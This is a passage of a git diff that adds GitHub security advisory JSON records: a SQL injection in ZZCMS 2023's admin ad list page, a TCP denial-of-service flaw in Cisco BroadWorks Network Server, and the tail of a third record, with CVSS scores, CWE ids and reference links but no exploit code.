+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11241"
+    },
+    {
+      "type": "WEB",
+      "url": "https://code-projects.org"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/Anti-Entropy-Zhurong/cve/blob/main/sql-1.md"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?ctiid.284677"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?id.284677"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?submit.442036"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-74"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2024-11-15T15:15:06Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2024/11/GHSA-q79q-mvw6-5crr/GHSA-q79q-mvw6-5crr.json b/advisories/unreviewed/2024/11/GHSA-q79q-mvw6-5crr/GHSA-q79q-mvw6-5crr.json
new file mode 100644
index 00000000000..895ff561e7b
--- /dev/null
+++ b/advisories/unreviewed/2024/11/GHSA-q79q-mvw6-5crr/GHSA-q79q-mvw6-5crr.json
@@ -0,0 +1,54 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-q79q-mvw6-5crr",
+  "modified": "2024-11-15T15:30:58Z",
+  "published": "2024-11-15T15:30:58Z",
+  "aliases": [
+    "CVE-2024-11242"
+  ],
+  "details": "A vulnerability was found in ZZCMS 2023. It has been rated as critical. Affected by this issue is some unknown functionality of the file /admin/ad_list.php?action=pass of the component Keyword Filtering. The manipulation of the argument keyword leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L"
+    },
+    {
+      "type": "CVSS_V4",
+      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+    }
+  ],
+  "affected": [
+
+  ],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11242"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/En0t5/vul/blob/main/zzcms/zzcms-add_list-sql-inject.md"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?ctiid.284678"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?id.284678"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?submit.442038"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-74"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2024-11-15T15:15:06Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2024/11/GHSA-rhfh-m68w-rv9h/GHSA-rhfh-m68w-rv9h.json b/advisories/unreviewed/2024/11/GHSA-rhfh-m68w-rv9h/GHSA-rhfh-m68w-rv9h.json
new file mode 100644
index 00000000000..26be1702fdc
--- /dev/null
+++ b/advisories/unreviewed/2024/11/GHSA-rhfh-m68w-rv9h/GHSA-rhfh-m68w-rv9h.json
@@ -0,0 +1,38 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-rhfh-m68w-rv9h",
+  "modified": "2024-11-15T15:30:57Z",
+  "published": "2024-11-15T15:30:57Z",
+  "aliases": [
+    "CVE-2023-20125"
+  ],
+  "details": "A vulnerability in the local interface of Cisco BroadWorks Network Server could allow an unauthenticated, remote attacker to exhaust system resources, causing a denial of service (DoS) condition.\n\nThis vulnerability exists because rate limiting does not occur for certain incoming TCP connections. An attacker could exploit this vulnerability by sending a high rate of TCP connections to the server. A successful exploit could allow the attacker to cause TCP connection resources to grow rapidly until the Cisco BroadWorks Network Server becomes unusable.\nNote: To recover from this vulnerability, either Cisco BroadWorks Network Server software must be restarted or the Cisco BroadWorks Network Server node must be rebooted. For more information, see the  section of this advisory.\nCisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H"
+    }
+  ],
+  "affected": [
+
+  ],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20125"
+    },
+    {
+      "type": "WEB",
+      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-bw-tcp-dos-KEdJCxLs"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-400"
+    ],
+    "severity": "HIGH",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2024-11-15T15:15:05Z"
+  }
+}
\ No newline at end of file